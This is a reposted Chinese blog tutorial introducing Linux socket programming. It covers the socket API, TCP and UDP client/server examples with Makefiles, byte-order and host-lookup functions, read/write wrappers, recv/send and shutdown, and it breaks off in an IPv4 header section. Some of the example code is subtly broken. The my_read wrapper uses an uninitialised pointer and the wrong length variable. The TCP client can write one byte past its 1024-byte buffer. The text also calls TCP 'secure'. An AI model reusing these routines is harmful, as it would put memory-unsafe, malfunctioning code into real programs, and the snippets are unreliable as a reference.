[Linux网络编程入门 (转载) - 独奏者 - 博客园 (cnblogs.com)](https://www.cnblogs.com/duzouzhe/archive/2009/06/19/1506699.html)

(一)Linux网络编程--网络知识介绍

Linux网络编程--网络知识介绍  
客户端和服务端  
        网络程序和普通的程序有一个最大的区别是网络程序是由两个部分组成的--客户端和服务器端.

客户端  
        在网络程序中，如果一个程序主动和外面的程序通信，那么我们把这个程序称为客户端程序。 比如我们使用ftp程序从另外一  
        个地方获取文件的时候，是我们的ftp程序主动同外面进行通信（获取文件）， 所以这个地方我们的ftp程序就是客户端程序。  
服务端  
        和客户端相对应的程序即为服务端程序。被动的等待外面的程序来和自己通讯的程序称为服务端程序。  
        比如上面的文件获取中，另外一个地方的程序就是服务端，我们从服务端获取文件过来。  
互为客户和服务端  
        实际生活中有些程序是互为服务和客户端。在这种情况项目， 一个程序既为客户端也是服务端。

常用的命令  
        由于网络程序是有两个部分组成,所以在调试的时候比较麻烦,为此我们有必要知道一些常用的网络命令  
netstat  
        命令netstat是用来显示网络的连接,路由表和接口统计等网络的信息.netstat有许多的选项.  
        我们常用的选项是-na 用来显示详细的网络状态.至于其它的选项我们可以使用帮助手册获得详细的情况.  
telnet  
        telnet是一个用来登录远程的程序,但是我们完全可以用这个程序来调试我们的服务端程序的.  
        比如我们的服务器程序在监听8888端口,我们可以用  
                telnet localhost 8888  
        来查看服务端的状况.  
pingping 程序用来判断网络的状态是否正常，最经常的一个用法是  
        ping 192.168.0.1  
        表示我们想查看到192.168.0.1的硬件连接是否正常  
TCP/UDP介绍  
        TCP(Transfer Control Protocol)传输控制协议是一种面向连接的协议, 当我们的网络程序使用这个协议的时候,  
        网络可以保证我们的客户端和服务端的连接是可靠的,安全的.

        UDP(User Datagram Protocol)用户数据报协议是一种非面向连接的协议,  
        这种协议并不能保证我们的网络程序的连接是可靠的,所以我们现在编写的程序一般是采用TCP协议的.

(二)Linux网络编程--初等网络函数介绍（TCP）

   Linux系统是通过提供套接字(socket)来进行网络编程的.网络程序通过socket和其它几个函数的调用,  
   会返回一个 通讯的文件描述符,我们可以将这个描述符看成普通的文件的描述符来操作,这就是linux的设备无关性的好处.  
   我们可以通过向描述符读写操作实现网络之间的数据交流.  
(一)socket  
   
  int socket(int domain, int type,int protocol)

  domain:说明我们网络程序所在的主机采用的通讯协族(AF\_UNIX和AF\_INET等).  
        AF\_UNIX只能够用于单一的Unix 系统进程间通信,  
        而AF\_INET是针对Internet的,因而可以允许在远程  
        主机之间通信(当我们 man socket时发现 domain可选项是 PF\_\*而不是AF\_\*,因为glibc是posix的实现所以用PF代替了AF,  
        不过我们都可以使用的).

  type:我们网络程序所采用的通讯协议(SOCK\_STREAM,SOCK\_DGRAM等)  
        SOCK\_STREAM表明我们用的是TCP 协议,这样会提供按顺序的,可靠,双向,面向连接的比特流.  
        SOCK\_DGRAM 表明我们用的是UDP协议,这样只会提供定长的,不可靠,无连接的通信.

  protocol:由于我们指定了type,所以这个地方我们一般只要用0来代替就可以了 socket为网络通讯做基本的准备.  
  成功时返回文件描述符,失败时返回-1,看errno可知道出错的详细情况.

(二)bind  
  int bind(int sockfd, struct sockaddr \*my\_addr, int addrlen)

  sockfd:是由socket调用返回的文件描述符.

  addrlen:是sockaddr结构的长度.

  my\_addr:是一个指向sockaddr的指针. 在中有 sockaddr的定义

        struct sockaddr{  
                unisgned short  as\_family;  
                char            sa\_data[14];  
        };

  不过由于系统的兼容性,我们一般不用这个头文件,而使用另外一个结构(struct sockaddr\_in) 来代替.在中有sockaddr\_in的定义  
        struct sockaddr\_in{  
                unsigned short          sin\_family;      
                unsigned short int      sin\_port;  
                struct in\_addr          sin\_addr;  
                unsigned char           sin\_zero[8];  
        }  
  我们主要使用Internet所以  
        sin\_family一般为AF\_INET,  
        sin\_addr设置为INADDR\_ANY表示可以和任何的主机通信,  
        sin\_port是我们要监听的端口号.sin\_zero[8]是用来填充的.  
  bind将本地的端口同socket返回的文件描述符捆绑在一起.成功是返回0,失败的情况和socket一样

(三)listen  
  int listen(int sockfd,int backlog)

  sockfd:是bind后的文件描述符.

  backlog:设置请求排队的最大长度.当有多个客户端程序和服务端相连时, 使用这个表示可以介绍的排队长度.  
  listen函数将bind的文件描述符变为监听套接字.返回的情况和bind一样.

(四)accept  
  int accept(int sockfd, struct sockaddr \*addr,int \*addrlen)

  sockfd:是listen后的文件描述符.

  addr,addrlen是用来给客户端的程序填写的,服务器端只要传递指针就可以了. bind,listen和accept是服务器端用的函数,  
  accept调用时,服务器端的程序会一直阻塞到有一个 客户程序发出了连接. accept成功时返回最后的服务器端的文件描述符,  
  这个时候服务器端可以向该描述符写信息了. 失败时返回-1

(五)connect  
   int connect(int sockfd, struct sockaddr \* serv\_addr,int addrlen)

   sockfd:socket返回的文件描述符.

   serv\_addr:储存了服务器端的连接信息.其中sin\_add是服务端的地址

   addrlen:serv\_addr的长度

   connect函数是客户端用来同服务端连接的.成功时返回0,sockfd是同服务端通讯的文件描述符 失败时返回-1.

(六)实例

服务器端程序

CODE:  [Copy to clipboard]

--------------------------------------------------------------------------------

/\*\*\*\*\*\*\* 服务器程序  (server.c) \*\*\*\*\*\*\*\*\*\*\*\*/  
#include <stdlib.h>  
#include <stdio.h>  
#include <errno.h>  
#include <string.h>  
#include <unistd.h>  
#include <netdb.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <sys/types.h>  
#include <arpa/inet.h>

int main(int argc, char \*argv[])  
{  
        int sockfd,new\_fd;  
        struct sockaddr\_in server\_addr;  
        struct sockaddr\_in client\_addr;  
        int sin\_size,portnumber;  
        char hello[]="Hello! Are You Fine?\n";

        if(argc!=2)  
        {  
                fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]);  
                exit(1);  
        }

        if((portnumber=atoi(argv[1]))<0)  
        {  
                fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]);  
                exit(1);  
        }

        /\* 服务器端开始建立socket描述符 \*/  
        if((sockfd=socket(AF\_INET,SOCK\_STREAM,0))==-1)   
        {  
                fprintf(stderr,"Socket error:%s\n\a",strerror(errno));  
                exit(1);  
        }

        /\* 服务器端填充 sockaddr结构  \*/  
        bzero(&server\_addr,sizeof(struct sockaddr\_in));  
        server\_addr.sin\_family=AF\_INET;  
        server\_addr.sin\_addr.s\_addr=htonl(INADDR\_ANY);  
        server\_addr.sin\_port=htons(portnumber);

        /\* 捆绑sockfd描述符  \*/  
        if(bind(sockfd,(struct sockaddr \*)(&server\_addr),sizeof(struct sockaddr))==-1)  
        {  
                fprintf(stderr,"Bind error:%s\n\a",strerror(errno));  
                exit(1);  
        }

        /\* 监听sockfd描述符  \*/  
        if(listen(sockfd,5)==-1)  
        {  
                fprintf(stderr,"Listen error:%s\n\a",strerror(errno));  
                exit(1);  
        }

        while(1)  
        {  
                /\* 服务器阻塞,直到客户程序建立连接  \*/  
                sin\_size=sizeof(struct sockaddr\_in);  
                if((new\_fd=accept(sockfd,(struct sockaddr \*)(&client\_addr),&sin\_size))==-1)  
                {  
                        fprintf(stderr,"Accept error:%s\n\a",strerror(errno));  
                        exit(1);  
                }

                fprintf(stderr,"Server get connection from %s\n",  
                inet\_ntoa(client\_addr.sin\_addr));  
                if(write(new\_fd,hello,strlen(hello))==-1)  
                {  
                        fprintf(stderr,"Write Error:%s\n",strerror(errno));  
                        exit(1);  
                }  
                /\* 这个通讯已经结束     \*/  
                close(new\_fd);  
                /\* 循环下一个     \*/   
        }  
        close(sockfd);  
        exit(0);  
}

客户端程序

CODE:  [Copy to clipboard]

--------------------------------------------------------------------------------

/\*\*\*\*\*\*\* 客户端程序  client.c \*\*\*\*\*\*\*\*\*\*\*\*/  
/\*\*\*\*\*\*\* 客户端程序  client.c \*\*\*\*\*\*\*\*\*\*\*\*/  
#include <stdlib.h>  
#include <stdio.h>  
#include <errno.h>  
#include <string.h>  
#include <unistd.h>  
#include <netdb.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <sys/types.h>  
#include <arpa/inet.h>

int main(int argc, char \*argv[])  
{  
        int sockfd;  
        char buffer[1024];  
        struct sockaddr\_in server\_addr;  
        struct hostent \*host;  
        int portnumber,nbytes;

        if(argc!=3)  
        {  
                fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]);  
                exit(1);  
        }

        if((host=gethostbyname(argv[1]))==NULL)  
        {  
                fprintf(stderr,"Gethostname error\n");  
                exit(1);  
        }

        if((portnumber=atoi(argv[2]))<0)  
        {  
                fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]);  
                exit(1);  
        }

        /\* 客户程序开始建立 sockfd描述符  \*/  
        if((sockfd=socket(AF\_INET,SOCK\_STREAM,0))==-1)  
        {  
                fprintf(stderr,"Socket Error:%s\a\n",strerror(errno));  
                exit(1);  
        }

        /\* 客户程序填充服务端的资料       \*/  
        bzero(&server\_addr,sizeof(server\_addr));  
        server\_addr.sin\_family=AF\_INET;  
        server\_addr.sin\_port=htons(portnumber);  
        server\_addr.sin\_addr=\*((struct in\_addr \*)host->h\_addr);

        /\* 客户程序发起连接请求         \*/  
        if(connect(sockfd,(struct sockaddr \*)(&server\_addr),sizeof(struct sockaddr))==-1)  
        {  
                fprintf(stderr,"Connect Error:%s\a\n",strerror(errno));  
                exit(1);  
        }

        /\* 连接成功了           \*/  
        if((nbytes=read(sockfd,buffer,1024))==-1)  
        {  
                fprintf(stderr,"Read Error:%s\n",strerror(errno));  
                exit(1);  
        }  
        buffer[nbytes]='\0';  
        printf("I have received:%s\n",buffer);  
        /\* 结束通讯     \*/  
        close(sockfd);  
        exit(0);  
}

MakeFile  
这里我们使用GNU 的make实用程序来编译. 关于make的详细说明见 Make 使用介绍

CODE:  [Copy to clipboard]

#########  Makefile       ###########  
all:server client  
server:server.c  
        gcc $^ -o $@  
client:client.c  
        gcc $^ -o $@

运行make后会产生两个程序server(服务器端)和client(客户端) 先运行./server portnumber&   
        (portnumber随便取一个大于1204且不在/etc/services中出现的号码 就用8888好了),  
        然后运行  ./client localhost 8888 看看有什么结果. (你也可以用telnet和netstat试一试.)  
        上面是一个最简单的网络程序,不过是不是也有点烦.上面有许多函数我们还没有解释. 我会在下一章进行的详细的说明.

(七) 总结  
总的来说网络程序是由两个部分组成的--客户端和服务器端.它们的建立步骤一般是:

服务器端  
socket-->bind-->listen-->accept

客户端  
socket-->connect

(三)Linux网络编程--3. 服务器和客户机的信息函数

这一章我们来学习转换和网络方面的信息函数.  
3.1 字节转换函数  
在网络上面有着许多类型的机器,这些机器在表示数据的字节顺序是不同的, 比如i386芯片是低字节在内存地址的低端,  
高字节在高端,而alpha芯片却相反. 为了统一起来,在Linux下面,有专门的字节转换函数.  
unsigned long  int htonl(unsigned long  int hostlong)  
unsigned short int htons(unisgned short int hostshort)  
unsigned long  int ntohl(unsigned long  int netlong)  
unsigned short int ntohs(unsigned short int netshort)

在这四个转换函数中,h 代表host, n 代表 network.s 代表short l 代表long  
        第一个函数的意义是将本机器上的long数据转化为网络上的long. 其他几个函数的意义也差不多.

3.2 IP和域名的转换  
在网络上标志一台机器可以用IP或者是用域名.那么我们怎么去进行转换呢?

struct hostent \*gethostbyname(const char \*hostname)  
struct hostent \*gethostbyaddr(const char \*addr,int len,int type)  
在中有struct hostent的定义  
struct hostent{  
        char \*h\_name;           /\* 主机的正式名称  \*/  
        char \*h\_aliases;        /\* 主机的别名 \*/  
        int   h\_addrtype;       /\* 主机的地址类型  AF\_INET\*/  
        int   h\_length;         /\* 主机的地址长度  对于IP4 是4字节32位\*/  
        char \*\*h\_addr\_list;     /\* 主机的IP地址列表 \*/  
        }  
  #define h\_addr h\_addr\_list[0]  /\* 主机的第一个IP地址\*/

gethostbyname可以将机器名(如 linux.yessun.com)转换为一个结构指针.在这个结构里面储存了域名的信息  
gethostbyaddr可以将一个32位的IP地址(C0A80001)转换为结构指针.

这两个函数失败时返回NULL 且设置h\_errno错误变量,调用h\_strerror()可以得到详细的出错信息

3.3 字符串的IP和32位的IP转换.  
在网络上面我们用的IP都是数字加点(192.168.0.1)构成的, 而在struct in\_addr结构中用的是32位的IP,  
我们上面那个32位IP(C0A80001)是的192.168.0.1 为了转换我们可以使用下面两个函数

int inet\_aton(const char \*cp,struct in\_addr \*inp)  
char \*inet\_ntoa(struct in\_addr in)

函数里面 a 代表 ascii n 代表network.第一个函数表示将a.b.c.d的IP转换为32位的IP,  
存储在 inp指针里面.第二个是将32位IP转换为a.b.c.d的格式.

3.4 服务信息函数  
在网络程序里面我们有时候需要知道端口.IP和服务信息.这个时候我们可以使用以下几个函数

int getsockname(int sockfd,struct sockaddr \*localaddr,int \*addrlen)  
int getpeername(int sockfd,struct sockaddr \*peeraddr, int \*addrlen)  
struct servent \*getservbyname(const char \*servname,const char \*protoname)  
struct servent \*getservbyport(int port,const char \*protoname)  
struct servent  
        {  
                char \*s\_name;          /\* 正式服务名 \*/  
                char \*\*s\_aliases;      /\* 别名列表 \*/   
                int s\_port;            /\* 端口号 \*/  
                char \*s\_proto;         /\* 使用的协议 \*/  
        }

一般我们很少用这几个函数.对应客户端,当我们要得到连接的端口号时在connect调用成功后使用可得到  
系统分配的端口号.对于服务端,我们用INADDR\_ANY填充后,为了得到连接的IP我们可以在accept调用成功后 使用而得到IP地址.  
在网络上有许多的默认端口和服务,比如端口21对ftp80对应WWW.为了得到指定的端口号的服务 我们可以调用第四个函数,  
相反为了得到端口号可以调用第三个函数.

3.5 一个例子

CODE:  [Copy to clipboard]

#include <stdlib.h>  
#include <stdio.h>  
#include <errno.h>  
#include <string.h>  
#include <unistd.h>  
#include <netdb.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <sys/types.h>  
#include <arpa/inet.h>

int main(int argc ,char \*\*argv)  
{  
        struct sockaddr\_in addr;  
        struct hostent \*host;  
        char \*\*alias;  
         
        if(argc<2)  
        {  
         fprintf(stderr,"Usage:%s hostname|ip..\n\a",argv[0]);  
         exit(1);  
        }  
         
        argv++;  
        for(;\*argv!=NULL;argv++)  
        {  
                /\* 这里我们假设是IP\*/    
                if(inet\_aton(\*argv,&addr.sin\_addr)!=0)  
                {  
                   host=gethostbyaddr((char   \*)&addr.sin\_addr,4,AF\_INET);  
                   printf("Address information of Ip %s\n",\*argv);  
                }  
                else  
                {  
                      /\* 失败,难道是域名?\*/  
                      host=gethostbyname(\*argv); printf("Address information  
                      of host %s\n",\*argv);  
                }  
                if(host==NULL)  
                {  
                        /\* 都不是 ,算了不找了\*/  
                        fprintf(stderr,"No address information of %s\n",\*argv);  
                        continue;  
                }  
                printf("Official host name %s\n",host->h\_name);  
                printf("Name aliases:");  
                for(alias=host->h\_aliases;\*alias!=NULL;alias++)  
                 printf("%s ,",\*alias);  
                printf("\nIp address:");  
                for(alias=host->h\_addr\_list;\*alias!=NULL;alias++)  
                  printf("%s ,",inet\_ntoa(\*(struct in\_addr \*)(\*alias)));  
        }  
}

在这个例子里面,为了判断用户输入的是IP还是域名我们调用了两个函数,第一次我们假设输入的是IP所以调用inet\_aton,  
失败的时候,再调用gethostbyname而得到信息.

(四)Linux网络编程--4. 完整的读写函数

一旦我们建立了连接,我们的下一步就是进行通信了.在Linux下面把我们前面建立的通道看成是文件描述符,  
这样服务器端和客户端进行通信时候,只要往文件描述符里面读写东西了. 就象我们往文件读写一样.

4.1 写函数write  
ssize\_t write(int fd,const void \*buf,size\_t nbytes)

write函数将buf中的nbytes字节内容写入文件描述符fd.成功时返回写的字节数.失败时返回-1. 并设置errno变量.  
在网络程序中,当我们向套接字文件描述符写时有俩种可能.

        1)write的返回值大于0,表示写了部分或者是全部的数据.

        2)返回的值小于0,此时出现了错误.我们要根据错误类型来处理.

如果错误为EINTR表示在写的时候出现了中断错误.  
如果为EPIPE表示网络连接出现了问题(对方已经关闭了连接).  
为了处理以上的情况,我们自己编写一个写函数来处理这几种情况.

int my\_write(int fd,void \*buffer,int length)  
{  
int bytes\_left;  
int written\_bytes;  
char \*ptr;

ptr=buffer;  
bytes\_left=length;  
while(bytes\_left>0)  
{  
        /\* 开始写\*/  
        written\_bytes=write(fd,ptr,bytes\_left);  
        if(written\_bytes<=0) /\* 出错了\*/  
        {        
                if(errno==EINTR) /\* 中断错误 我们继续写\*/  
                        written\_bytes=0;  
                else             /\* 其他错误 没有办法,只好撤退了\*/  
                        return(-1);  
        }  
        bytes\_left-=written\_bytes;  
        ptr+=written\_bytes;     /\* 从剩下的地方继续写  \*/  
}  
return(0);  
}

4.2 读函数read  
ssize\_t read(int fd,void \*buf,size\_t nbyte) read函数是负责从fd中读取内容.当读成功时,  
read返回实际所读的字节数,如果返回的值是0 表示已经读到文件的结束了,小于0表示出现了错误.  
        如果错误为EINTR说明读是由中断引起的,  
        如果是ECONNREST表示网络连接出了问题. 和上面一样,我们也写一个自己的读函数.

int my\_read(int fd,void \*buffer,int length)  
{  
int bytes\_left;  
int bytes\_read;  
char \*ptr;  
   
bytes\_left=length;  
while(bytes\_left>0)  
{  
   bytes\_read=read(fd,ptr,bytes\_read);  
   if(bytes\_read<0)  
   {  
     if(errno==EINTR)  
        bytes\_read=0;  
     else  
        return(-1);  
   }  
   else if(bytes\_read==0)  
       break;  
    bytes\_left-=bytes\_read;  
    ptr+=bytes\_read;  
}  
return(length-bytes\_left);  
}

4.3 数据的传递  
有了上面的两个函数,我们就可以向客户端或者是服务端传递数据了.比如我们要传递一个结构.可以使用如下方式

/\*  客户端向服务端写 \*/  
struct my\_struct my\_struct\_client;  
write(fd,(void \*)&my\_struct\_client,sizeof(struct my\_struct);

/\* 服务端的读\*/  
char buffer[sizeof(struct my\_struct)];  
struct \*my\_struct\_server;  
read(fd,(void \*)buffer,sizeof(struct my\_struct));  
my\_struct\_server=(struct my\_struct \*)buffer;

在网络上传递数据时我们一般都是把数据转化为char类型的数据传递.接收的时候也是一样的 注意的是我们没有必要在网络上传  
递指针(因为传递指针是没有任何意义的,我们必须传递指针所指向的内容)

(五)Linux网络编程--5. 用户数据报发送

我们前面已经学习网络程序的一个很大的部分,由这个部分的知识,我们实际上可以写出大部分的基于TCP协议的网络程序了.  
现在在 Linux下的大部分程序都是用我们上面所学的知识来写的.我们可以去找一些源程序来参考一下.这一章,我们简单的学习一  
下基于UDP协议的网络程序.

5.1 两个常用的函数  
   int recvfrom(int sockfd,void \*buf,int len,unsigned int flags,struct sockaddr \* from int \*fromlen)  
   int sendto(int sockfd,const void \*msg,int len,unsigned int flags,struct sockaddr \*to int tolen)

sockfd,buf,len的意义和read,write一样,分别表示套接字描述符,发送或接收的缓冲区及大小.  
recvfrom负责从 sockfd接收数据,如果from不是NULL,那么在from里面存储了信息来源的情况,如果对信息的来源不感兴趣,  
可以将from和fromlen 设置为NULL.sendto负责向to发送信息.此时在to里面存储了收信息方的详细资料.

5.2 一个实例

CODE:  [Copy to clipboard]

--------------------------------------------------------------------------------

/\*           服务端程序  server.c           \*/  
#include <stdlib.h>  
#include <stdio.h>  
#include <errno.h>  
#include <string.h>  
#include <unistd.h>  
#include <netdb.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <sys/types.h>  
#include <arpa/inet.h>  
#define SERVER\_PORT     8888  
#define MAX\_MSG\_SIZE    1024

void udps\_respon(int sockfd)  
{  
        struct sockaddr\_in addr;  
        int    n;  
                socklen\_t addrlen;  
        char    msg[MAX\_MSG\_SIZE];  
         
        while(1)  
        {       /\* 从网络上读,写到网络上面去   \*/  
                                memset(msg, 0, sizeof(msg));  
                                addrlen = sizeof(struct sockaddr);  
                                n=recvfrom(sockfd,msg,MAX\_MSG\_SIZE,0,  
                        (struct sockaddr\*)&addr,&addrlen);  
                /\* 显示服务端已经收到了信息  \*/  
                fprintf(stdout,"I have received %s",msg);  
                sendto(sockfd,msg,n,0,(struct sockaddr\*)&addr,addrlen);  
        }  
}

int main(void)  
{  
        int sockfd;  
        struct sockaddr\_in      addr;  
         
        sockfd=socket(AF\_INET,SOCK\_DGRAM,0);  
        if(sockfd<0)  
        {  
                fprintf(stderr,"Socket Error:%s\n",strerror(errno));  
                exit(1);  
        }  
        bzero(&addr,sizeof(struct sockaddr\_in));  
        addr.sin\_family=AF\_INET;  
        addr.sin\_addr.s\_addr=htonl(INADDR\_ANY);  
        addr.sin\_port=htons(SERVER\_PORT);  
        if(bind(sockfd,(struct sockaddr \*)&addr,sizeof(struct sockaddr\_in))<0)  
        {  
                fprintf(stderr,"Bind Error:%s\n",strerror(errno));  
                exit(1);  
        }  
        udps\_respon(sockfd);  
        close(sockfd);  
}

客户端程序

CODE:  [Copy to clipboard]

--------------------------------------------------------------------------------

/\*          客户端程序             \*/  
#include <stdlib.h>  
#include <stdio.h>  
#include <errno.h>  
#include <string.h>  
#include <unistd.h>  
#include <netdb.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <sys/types.h>  
#include <arpa/inet.h>  
#define MAX\_BUF\_SIZE    1024

void udpc\_requ(int sockfd,const struct sockaddr\_in \*addr,socklen\_t len)  
{  
        char buffer[MAX\_BUF\_SIZE];  
        int n;  
        while(fgets(buffer,MAX\_BUF\_SIZE,stdin))         
        {        /\*   从键盘读入,写到服务端   \*/  
                sendto(sockfd,buffer,strlen(buffer),0,addr,len);  
                bzero(buffer,MAX\_BUF\_SIZE);

                /\*   从网络上读,写到屏幕上    \*/  
                                memset(buffer, 0, sizeof(buffer));  
                n=recvfrom(sockfd,buffer,MAX\_BUF\_SIZE, 0, NULL, NULL);  
                if(n <= 0)  
                                {  
                                        fprintf(stderr, "Recv Error %s\n", strerror(errno));  
                                        return;  
                                }  
                                buffer[n]=0;  
                fprintf(stderr, "get %s", buffer);  
        }  
}

int main(int argc,char \*\*argv)  
{  
        int sockfd,port;  
        struct sockaddr\_in      addr;  
         
        if(argc!=3)  
        {  
                fprintf(stderr,"Usage:%s server\_ip server\_port\n",argv[0]);  
                exit(1);  
        }  
         
        if((port=atoi(argv[2]))<0)  
        {  
                fprintf(stderr,"Usage:%s server\_ip server\_port\n",argv[0]);  
                exit(1);  
        }  
         
        sockfd=socket(AF\_INET,SOCK\_DGRAM,0);  
        if(sockfd<0)  
        {  
                fprintf(stderr,"Socket  Error:%s\n",strerror(errno));  
                exit(1);  
        }        
        /\*      填充服务端的资料      \*/  
        bzero(&addr,sizeof(struct sockaddr\_in));  
        addr.sin\_family=AF\_INET;  
        addr.sin\_port=htons(port);  
        if(inet\_aton(argv[1],&addr.sin\_addr)<0)  
        {  
                fprintf(stderr,"Ip error:%s\n",strerror(errno));  
                exit(1);  
        }  
                 if(connect(sockfd, (struct sockaddr \*)&addr, sizeof(struct sockaddr\_in)) == -1)  
                {  
                        fprintf(stderr, "connect error %s\n", strerror(errno));  
                        exit(1);  
                }  
        udpc\_requ(sockfd,&addr,sizeof(struct sockaddr\_in));  
        close(sockfd);  
}

########### 编译文件 Makefile        ##########  
all:server client  
server:server.c  
        gcc -o server server.c  
client:client.c  
        gcc -o client client.c  
clean:  
        rm -f server  
        rm -f client  
        rm -f core

运行UDP Server程序  
执行./server &命令来启动服务程序。我们可以使用netstat -ln命令来观察服务程序绑定的IP地址和端口，部分输出信息如下：  
Active Internet connections (only servers)  
Proto Recv-Q Send-Q Local Address Foreign Address State  
tcp 0 0 0.0.0.0:32768 0.0.0.0:\* LISTEN  
tcp 0 0 0.0.0.0:111 0.0.0.0:\* LISTEN  
tcp 0 0 0.0.0.0:6000 0.0.0.0:\* LISTEN  
tcp 0 0 127.0.0.1:631 0.0.0.0:\* LISTEN  
udp 0 0 0.0.0.0:32768 0.0.0.0:\*  
udp 0 0 0.0.0.0:8888 0.0.0.0:\*  
udp 0 0 0.0.0.0:111 0.0.0.0:\*  
udp 0 0 0.0.0.0:882 0.0.0.0:\*  
可以看到udp处有“0.0.0.0:8888”的内容，说明服务程序已经正常运行，可以接收主机上任何IP地址且端口为8888的数据。

3、运行UDP Client程序  
执行./client 127.0.0.1 8888命令来启动客户程序，使用127.0.0.1来连接服务程序，执行效果如下：  
Hello, World!  
Hello, World!  
this is a test  
this is a test  
^d  
输入的数据都正确从服务程序返回了，按ctrl+d可以结束输入，退出程序。

(六)Linux网络编程--6. 高级套接字函数

在前面的几个部分里面,我们已经学会了怎么样从网络上读写信息了.前面的一些函数(read,write)是网络程序里面最基本的函数.  
也是最原始的通信函数.在这一章里面,我们一起来学习网络通信的高级函数.这一章我们学习另外几个读写函数.

6.1 recv和send  
  recv和send函数提供了和read和write差不多的功能.不过它们提供 了第四个参数来控制读写操作.

         int recv(int sockfd,void \*buf,int len,int flags)  
         int send(int sockfd,void \*buf,int len,int flags)

前面的三个参数和read,write一样,第四个参数可以是0或者是以下的组合  
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
|  MSG\_DONTROUTE        |  不查找路由表                         |  
|  MSG\_OOB              |  接受或者发送带外数据                 |  
|  MSG\_PEEK             |  查看数据,并不从系统缓冲区移走数据    |  
|  MSG\_WAITALL          |  等待所有数据                         |  
|---------------------------------------------------------------|

MSG\_DONTROUTE:是send函数使用的标志.这个标志告诉IP协议.目的主机在本地网络上面,没有必要查找路由表.  
        这个标志一般用网络诊断和路由程序里面.

MSG\_OOB:表示可以接收和发送带外的数据.关于带外数据我们以后会解释的.

MSG\_PEEK:是recv函数的使用标志,表示只是从系统缓冲区中读取内容,而不清除系统缓冲区的内容.这样下次读的时候,  
        仍然是一样的内容.一般在有多个进程读写数据时可以使用这个标志.

MSG\_WAITALL是recv函数的使用标志,表示等到所有的信息到达时才返回.使用这个标志的时候recv回一直阻塞,直到指定的条件满足,或者是发生了错误.  
        1)当读到了指定的字节时,函数正常返回.返回值等于len  
        2)当读到了文件的结尾时,函数正常返回.返回值小于len  
        3) 当操作发生错误时,返回-1,且设置错误为相应的错误号(errno)

如果flags为0,则和read,write一样的操作.还有其它的几个选项,不过我们实际上用的很少,  
可以查看 Linux Programmer's Manual得到详细解释.

6.2 recvfrom和sendto  
        这两个函数一般用在非套接字的网络程序当中(UDP),我们已经在前面学会了.

6.3 recvmsg和sendmsg  
        recvmsg和sendmsg可以实现前面所有的读写函数的功能.

int recvmsg(int sockfd,struct msghdr \*msg,int flags)  
int sendmsg(int sockfd,struct msghdr \*msg,int flags)

  struct msghdr  
        {  
                void \*msg\_name;  
                int msg\_namelen;  
                struct iovec \*msg\_iov;  
                int msg\_iovlen;  
                void \*msg\_control;  
                int msg\_controllen;  
                int msg\_flags;  
        }

struct iovec  
        {  
                void \*iov\_base; /\* 缓冲区开始的地址  \*/  
                size\_t iov\_len; /\* 缓冲区的长度      \*/  
        }

        msg\_name和 msg\_namelen当套接字是非面向连接时(UDP),它们存储接收和发送方的地址信息.  
        msg\_name实际上是一个指向struct sockaddr的指针,  
        msg\_namelen是结构的长度.当套接字是面向连接时,这两个值应设为NULL.  
        msg\_iov和 msg\_iovlen指出接受和发送的缓冲区内容.msg\_iov是一个结构指针,msg\_iovlen指出这个结构数组的大小.   
        msg\_control和msg\_controllen这两个变量是用来接收和发送控制数据时的 msg\_flags指定接受和发送的操作选项.  
        和 recv,send的选项一样

6.4 套接字的关闭  
关闭套接字有两个函数close和shutdown.用close时和我们关闭文件一样.

6.5 shutdown

int shutdown(int sockfd,int howto)

TCP连接是双向的(是可读写的),当我们使用close时,会把读写通道都关闭,有时侯我们希望只关闭一个方向,这个时候我们可以使用  
shutdown.针对不同的howto,系统回采取不同的关闭方式.  
        howto=0这个时候系统会关闭读通道.但是可以继续往接字描述符写.  
        howto=1关闭写通道,和上面相反,着时候就只可以读了.  
        howto=2关闭读写通道,和close一样 在多进程程序里面,如果有几个子进程共享一个套接字时,如果我们使用shutdown,  
        那么所有的子进程都不能够操作了,这个时候我们只能够使用close来关闭子进程的套接字描述符.

(七)Linux网络编程--7. TCP/IP协议

你也许听说过TCP/IP协议,那么你知道到底什么是TCP,什么是IP吗?在这一章里面,我们一起来学习这个目前网络上用最广泛的协议.

7.1 网络传输分层  
    如果你考过计算机等级考试,那么你就应该已经知道了网络传输分层这个概念.在网络上,人们为了传输数据时的方便,  
    把网络的传输分为7个层次.分别是:应用层,表示层,会话层,传输层,网络层,数据链路层和物理层.分好了层以后,传输数据时,  
    上一层如果要数据的话,就可以直接向下一层要了,而不必要管数据传输的细节.下一层也只向它的上一层提供数据,  
    而不要去管其它东西了.如果你不想考试,你没有必要去记这些东西的.只要知道是分层的,而且各层的作用不同.

7.2 IP协议  
    IP协议是在网络层的协议.它主要完成数据包的发送作用. 下面这个表是IP4的数据包格式

0      4       8       16                      32  
--------------------------------------------------  
|版本   |首部长度|服务类型|    数据包总长       |  
--------------------------------------------------  
|    标识                 |DF |MF| 碎片偏移      |  
--------------------------------------------------  
|   生存时间    |  协议   |  首部较验和         |  
------------------------------------------------  
|               源IP地址                        |  
------------------------------------------------  
|               目的IP地址                      |  
-------------------------------------------------  
|               选项                            |  
=================================================  
|               数据                            |  
-------------------------------------------------

下面我们看一看IP的结构定义

struct ip  
  {  
#if \_\_BYTE\_ORDER == \_\_LITTLE\_ENDIAN  
        unsigned int ip\_hl:4;           /\* header length \*/  
        unsigned int ip\_v:4;            /\* version \*/  
#endif  
#if \_\_BYTE\_ORDER == \_\_BIG\_ENDIAN  
        unsigned int ip\_v:4;            /\* version \*/  
        unsigned int ip\_hl:4;           /\* header length \*/  
#endif  
        u\_int8\_t ip\_tos;                /\* type of service \*/  
        u\_short ip\_len;                 /\* total length \*/  
        u\_short ip\_id;                  /\* identification \*/  
        u\_short ip\_off;                 /\* fragment offset field \*/  
#define IP\_RF 0x8000                    /\* reserved fragment flag \*/  
